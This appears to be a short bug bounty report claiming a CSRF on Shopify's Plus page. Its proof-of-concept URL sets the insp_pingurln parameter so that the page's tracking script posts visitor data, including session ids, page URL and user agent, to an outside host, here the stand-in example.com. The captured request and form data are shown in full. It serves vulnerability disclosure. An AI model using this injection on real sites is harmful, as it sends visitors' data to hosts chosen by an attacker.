CSRF on https://shopify.com/plus

Hello. To reproduce this CSRF, visit https://www.shopify.com/plus?insp_pingurln=https://example.com/%23 Will be sent this post request on [example.com](http://example.com/): ``` POST https://example.com/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://www.shopify.com/plus?insp_pingurln=https://example.com/%23 Content-Length: 1058 Origin: https://www.shopify.com Connection: keep-alive Host: example.com ``` POST data: ``` w=443176196&uid=1582993167&sid=1116922839&nv=true&u=https%3A%2F%2Fwww.shopify.com%2Fplus%3Finsp_pingurln%3Dhttps%3A%2F%2Fexample.com%2F%2523&or=https%3A%2F%2Fwww.shopify.com&ref=d&title=Enterprise+Ecommerce+Software+-+Scalable+Ecommerce+Platform&pw=1266&ph=629&pad=6&ism=false&dbglvl=3&dbgpad=5&dbgtpad=string&dbggcil=.shopify.com&cloc=undefined&st=4402&dbgk=&jv=4&identity=&targcv%5Blochref%5D=https%3A%2F%2Fwww.shopify.com%2Fplus%3Finsp_pingurln%3Dhttps%3A%2F%2Fexample.com%2F%2523&targcv%5Bdoctitle%5D=Enterprise+Ecommerce+Software+-+Scalable+Ecommerce+Platform&targcv%5Blptitle%5D=Enterprise+Ecommerce+Software+-+Scalable+Ecommerce+Platform&targcv%5Blpurl%5D=https%3A%2F%2Fwww.shopify.com%2Fplus&targcv%5B%24browser%5D%5Bmozilla%5D=true&targcv%5B%24browser%5D%5Bversion%5D=44.0&targcv%5BuserAgent%5D=Mozilla%2F5.0+(Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A44.0)+Gecko%2F20100101+Firefox%2F44.0&targcv%5Bmobchua%5D=Mozilla%2F5.0+(Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A44.0)+Gecko%2F20100101+Firefox%2F44.0&targcv%5Bref%5D=d&targcv%5Bnv%5D=true&isvp=false ``` Works only with protocol https.